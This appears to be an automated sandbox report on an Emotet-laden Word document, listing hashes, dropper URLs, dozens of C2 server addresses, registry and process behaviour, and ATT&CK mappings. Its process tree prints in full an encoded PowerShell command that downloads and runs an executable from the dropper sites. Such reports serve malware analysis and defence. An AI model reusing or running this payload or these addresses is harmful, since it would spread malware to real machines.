emotet | 1629af4d44b4e1144ab58cbb0ed6aa4bff26ae33ca7741e5e68096396edac499

General

Target
emotet_e3_1629af4d44b4e1144ab58cbb0ed6aa4bff26ae33ca7741e5e68096396edac499_2020-08-27__180238._doc.doc
Size 218KB
Sample200827-j2zy9rbafj
SHA256 1629af4d44b4e1144ab58cbb0ed6aa4bff26ae33ca7741e5e68096396edac499
MD5 2fd253ce93882cc1a91dfc745daefea6
SHA1 8d60c0291de6c8735476a52547378faad61b56fd
SHA512 d1db723ee43f2aeaaf36d33760151b095cd3eb8432ff708097018359e9fba3901d2bee9893656da32c229f6041a3b493108cd1882d7680110f8c0ebdbdd55946
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://solution.seeedstudio.com/tag/FNLFibbOyHa/
exe.dropper
https://dangkyinternetviettel.shop/wp-admin/anSiIxw/
exe.dropper
https://firstresponsecpr.com/alfacgiapi/hNBmlles94w163/
exe.dropper
http://literadiocebu.com/vhvjt/aycx52bqm330139/
exe.dropper
http://latestmoviesbox.com/wp-includes/uwap2390/
exe.dropper
http://arya-co.com/wp-includes/lIaWADd/
exe.dropper
http://pizzaherbs.com.pk/pjqbq/XnPgtdPPN/

Extracted

Family

emotet

C2

24.26.151.3:80
162.144.42.60:8080
134.209.193.138:443
68.183.233.80:8080
105.209.235.113:8080
198.57.203.63:8080
175.29.183.2:80
178.87.171.199:80
177.32.8.85:80
71.57.180.213:80
190.190.15.20:80
31.146.61.34:80
157.7.164.178:8081
82.239.200.118:80
220.254.198.228:443
41.185.29.128:8080
113.161.148.81:80
51.38.201.19:7080
179.5.118.12:80
66.61.94.36:80
87.106.231.60:8080
188.0.135.237:80
189.39.32.161:80
173.94.215.84:80
81.17.93.134:80
185.86.148.68:443
190.96.15.50:80
177.144.130.105:443
168.0.97.6:80
60.125.114.64:443
50.116.78.109:8080
190.53.144.120:80
37.205.9.252:7080
115.79.195.246:80
201.235.10.215:80
75.127.14.170:8080
181.126.54.234:80
172.96.190.154:8080
192.241.220.183:8080
190.164.75.175:80
81.214.253.80:443
139.99.157.213:8080
91.75.75.46:80
46.32.229.152:8080
37.187.100.220:7080
107.161.30.122:8080
157.245.138.101:7080
5.79.70.250:8080
185.142.236.163:443
118.101.24.148:80
103.80.51.61:8080
74.208.173.91:8080
178.33.167.120:8080
185.208.226.142:8080
143.95.101.72:8080
195.201.56.70:8080
46.105.131.68:8080
192.210.217.94:8080
37.46.129.215:8080
190.212.140.6:80
91.83.93.103:443
45.182.161.17:80
95.216.205.155:8080
202.5.47.71:80
88.249.181.198:443
197.232.36.108:80
1.54.67.22:80
86.98.143.163:80
77.74.78.80:443
172.105.78.244:8080
181.137.229.1:80
179.62.238.49:80
192.163.221.191:8080
177.94.227.143:80
203.153.216.178:7080
139.59.12.63:8080
115.78.11.155:80
2.144.244.204:443
197.221.158.162:80
162.249.220.190:80
85.25.207.108:8080
201.213.177.139:80
54.38.143.245:8080
181.113.229.139:443
188.251.213.180:443
190.55.186.229:80
113.203.250.121:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	300	3892	powersheLL.exe	72

Blacklisted process makes network request 1 IoCs

flow	pid	Process
26	300	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1876	Srbah3eyt.exe
2748	Windows.Media.Audio.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDUZB\Windows.Media.Audio.exe	Srbah3eyt.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = b0e7e7b9ad7cd601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3980	WINWORD.EXE
3980	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
300	powersheLL.exe
300	powersheLL.exe
300	powersheLL.exe
2748	Windows.Media.Audio.exe
2748	Windows.Media.Audio.exe
2748	Windows.Media.Audio.exe
2748	Windows.Media.Audio.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1824	svchost.exe
Token: SeCreatePagefilePrivilege	1824	svchost.exe
Token: SeDebugPrivilege	300	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE
1876	Srbah3eyt.exe
1876	Srbah3eyt.exe
2748	Windows.Media.Audio.exe
2748	Windows.Media.Audio.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 300 wrote to memory of 1876	300	powersheLL.exe	80
PID 300 wrote to memory of 1876	300	powersheLL.exe	80
PID 300 wrote to memory of 1876	300	powersheLL.exe	80
PID 1876 wrote to memory of 2748	1876	Srbah3eyt.exe	81
PID 1876 wrote to memory of 2748	1876	Srbah3eyt.exe	81
PID 1876 wrote to memory of 2748	1876	Srbah3eyt.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_1629af4d44b4e1144ab58cbb0ed6aa4bff26ae33ca7741e5e68096396edac499_2020-08-27__180238._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1824

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABQAGQAdgAyAG4AOQBoAD0AKAAoACcARQB4AHoAMgAnACsAJwA5AGkAJwApACsAJwA1ACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgBWADoAdABlAG0AcABcAFcATwBSAGQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAGUAYwB0AG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwBgAFUAcgBJAHQAWQBwAFIAYABvAFQAYABPAGAAYwBPAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACsAKAAnACwAIAB0AGwAcwAnACsAJwAxACcAKwAnADEALAAnACkAKwAoACcAIAB0AGwAJwArACcAcwAnACkAKQA7ACQAQgBqAGIAOAA5AHYAeQAgAD0AIAAoACcAUwAnACsAKAAnAHIAYgAnACsAJwBhAGgAMwBlACcAKwAnAHkAdAAnACkAKQA7ACQARgBlAG0AMABzAHAAbgA9ACgAJwBTACcAKwAnAG0AJwArACgAJwAxAF8AJwArACcAOABmAHYAJwApACkAOwAkAEIAMwAyAGoAMQBvAGcAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAB9ACcAKwAoACcAdwAnACsAJwBvAHIAJwApACsAJwBkACcAKwAnAHsAMAB9ADIAMAAxADkAewAnACsAJwAwAH0AJwApAC0AZgAgAFsAYwBIAEEAUgBdADkAMgApACsAJABCAGoAYgA4ADkAdgB5ACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQAQgBkAHoAcQA4ADUAcQA9ACgAKAAnAEUAcgAnACsAJwB0ACcAKQArACcAeQAxACcAKwAnADUAXwAnACkAOwAkAEQAcQAyAGUANAAwAGEAPQAmACgAJwBuAGUAJwArACcAdwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBlAEIAYwBMAEkARQBuAFQAOwAkAEIAegByAGoAbwBuADYAPQAoACgAJwBoAHQAdAAnACsAJwBwACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwBzACcAKQArACgAJwBvAGwAJwArACcAdQAnACkAKwAoACcAdABpACcAKwAnAG8AbgAuACcAKQArACcAcwAnACsAKAAnAGUAZQBlACcAKwAnAGQAcwB0AHUAJwArACcAZAAnACsAJwBpAG8ALgBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB0AGEAJwArACcAZwAvAEYATgAnACsAJwBMAEYAaQBiAGIATwAnACkAKwAoACcAeQBIAGEALwAqAGgAJwArACcAdAAnACkAKwAoACcAdAAnACsAJwBwAHMAOgAvAC8AZABhAG4AZwBrACcAKwAnAHkAJwArACcAaQBuACcAKwAnAHQAJwApACsAKAAnAGUAJwArACcAcgBuAGUAJwApACsAJwB0ACcAKwAnAHYAaQAnACsAJwBlAHQAJwArACcAdAAnACsAKAAnAGUAJwArACcAbAAuAHMAaAAnACkAKwAoACcAbwBwAC8AJwArACcAdwBwAC0AJwApACsAKAAnAGEAZAAnACsAJwBtACcAKwAnAGkAbgAvAGEAJwArACcAbgBTAGkAJwApACsAJwBJACcAKwAnAHgAJwArACgAJwB3ACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwBzADoALwAvACcAKQArACcAZgAnACsAJwBpAHIAJwArACgAJwBzAHQAJwArACcAcgBlACcAKQArACgAJwBzACcAKwAnAHAAbwBuAHMAJwApACsAKAAnAGUAJwArACcAYwBwAHIALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALwBhAGwAJwArACcAZgBhACcAKwAnAGMAZwBpAGEAcAAnACkAKwAoACcAaQAnACsAJwAvAGgATgBCAG0AJwApACsAJwBsAGwAJwArACcAZQBzACcAKwAoACcAOQAnACsAJwA0AHcAMQA2ADMALwAqACcAKwAnAGgAJwApACsAKAAnAHQAdAAnACsAJwBwACcAKwAnADoALwAvAGwAJwApACsAJwBpAHQAJwArACgAJwBlAHIAYQAnACsAJwBkAGkAbwAnACsAJwBjAGUAYgB1ACcAKQArACcALgAnACsAJwBjAG8AJwArACgAJwBtAC8AJwArACcAdgAnACkAKwAnAGgAJwArACgAJwB2ACcAKwAnAGoAdAAnACkAKwAnAC8AYQAnACsAJwB5ACcAKwAoACcAYwAnACsAJwB4ADUAJwApACsAKAAnADIAYgBxAG0AMwAnACsAJwAzADAAMQAzACcAKQArACcAOQAnACsAKAAnAC8AKgBoACcAKwAnAHQAJwArACcAdABwADoALwAnACkAKwAoACcALwAnACsAJwBsAGEAJwArACcAdABlAHMAdABtAG8AdgBpAGUAcwAnACsAJwBiACcAKwAnAG8AeAAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAHcAcAAtAGkAJwArACcAbgAnACsAJwBjAGwAdQBkACcAKQArACgAJwBlAHMALwAnACsAJwB1AHcAJwApACsAJwBhAHAAJwArACcAMgAnACsAJwAzACcAKwAoACcAOQAnACsAJwAwAC8AJwApACsAKAAnACoAJwArACcAaAB0AHQAJwApACsAJwBwACcAKwAnADoAJwArACcALwAnACsAKAAnAC8AYQByAHkAJwArACcAYQAtACcAKQArACcAYwBvACcAKwAoACcALgAnACsAJwBjAG8AJwApACsAJwBtAC8AJwArACcAdwAnACsAKAAnAHAALQBpAG4AJwArACcAYwAnACkAKwAoACcAbAB1AGQAJwArACcAZQAnACkAKwAoACcAcwAvAGwASQBhAFcAJwArACcAQQAnACsAJwBEAGQALwAqAGgAdAAnACsAJwB0AHAAJwArACcAOgAvAC8AJwApACsAKAAnAHAAaQB6AHoAYQAnACsAJwBoACcAKQArACgAJwBlAHIAYgAnACsAJwBzACcAKQArACcALgAnACsAKAAnAGMAJwArACcAbwBtAC4AcABrACcAKQArACcALwAnACsAJwBwAGoAJwArACgAJwBxACcAKwAnAGIAcQAnACkAKwAoACcALwAnACsAJwBYAG4AJwApACsAKAAnAFAAZwB0ACcAKwAnAGQAJwArACcAUABQAE4ALwAnACkAKQAuACIAUwBgAHAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABGADIAMQBjADAAaQBlAD0AKAAoACcASgBsACcAKwAnAHMAcgBkACcAKQArACcAMQAnACsAJwB1ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEEAYQB1AGwAcQBsADIAIABpAG4AIAAkAEIAegByAGoAbwBuADYAKQB7AHQAcgB5AHsAJABEAHEAMgBlADQAMABhAC4AIgBkAE8AVwBOAEwATwBgAEEAZABgAEYAaQBgAEwARQAiACgAJABBAGEAdQBsAHEAbAAyACwAIAAkAEIAMwAyAGoAMQBvAGcAKQA7ACQATAAzADEAYQBfAGQAMQA9ACgAJwBSACcAKwAoACcAZQAnACsAJwAzAGIAOAAnACkAKwAnADEAOAAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQAQgAzADIAagAxAG8AZwApAC4AIgBMAEUAYABOAGcAVABIACIAIAAtAGcAZQAgADMANwA5ADEANQApACAAewAuACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABCADMAMgBqADEAbwBnACkAOwAkAFUAMwBmAHAAcwByADUAPQAoACgAJwBMAGMAdwBsACcAKwAnADAAZQAnACkAKwAnAHIAJwApADsAYgByAGUAYQBrADsAJABRAGkAMABkADAAOQBlAD0AKAAnAEoAbwAnACsAKAAnADUAcgBjACcAKwAnAG8AeQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUABlAGsAMABvAHIAOAA9ACgAKAAnAFgAYgAnACsAJwB1AGEAJwApACsAKAAnAGUAYgAnACsAJwAyACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:300
- C:\Users\Admin\AppData\Local\Temp\word\2019\Srbah3eyt.exe
  "C:\Users\Admin\AppData\Local\Temp\word\2019\Srbah3eyt.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1876
- - C:\Windows\SysWOW64\KBDUZB\Windows.Media.Audio.exe
    "C:\Windows\SysWOW64\KBDUZB\Windows.Media.Audio.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2748

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/300-8-0x00007FFABAD30000-0x00007FFABB71C000-memory.dmp

Download

memory/300-9-0x0000015972C50000-0x0000015972C51000-memory.dmp

Download

memory/300-10-0x0000015972E60000-0x0000015972E61000-memory.dmp

Download

memory/1876-14-0x0000000000750000-0x000000000075C000-memory.dmp

Download

memory/2748-17-0x0000000000630000-0x000000000063C000-memory.dmp

Download

memory/3980-0-0x00007FFAC5E90000-0x00007FFAC6556000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads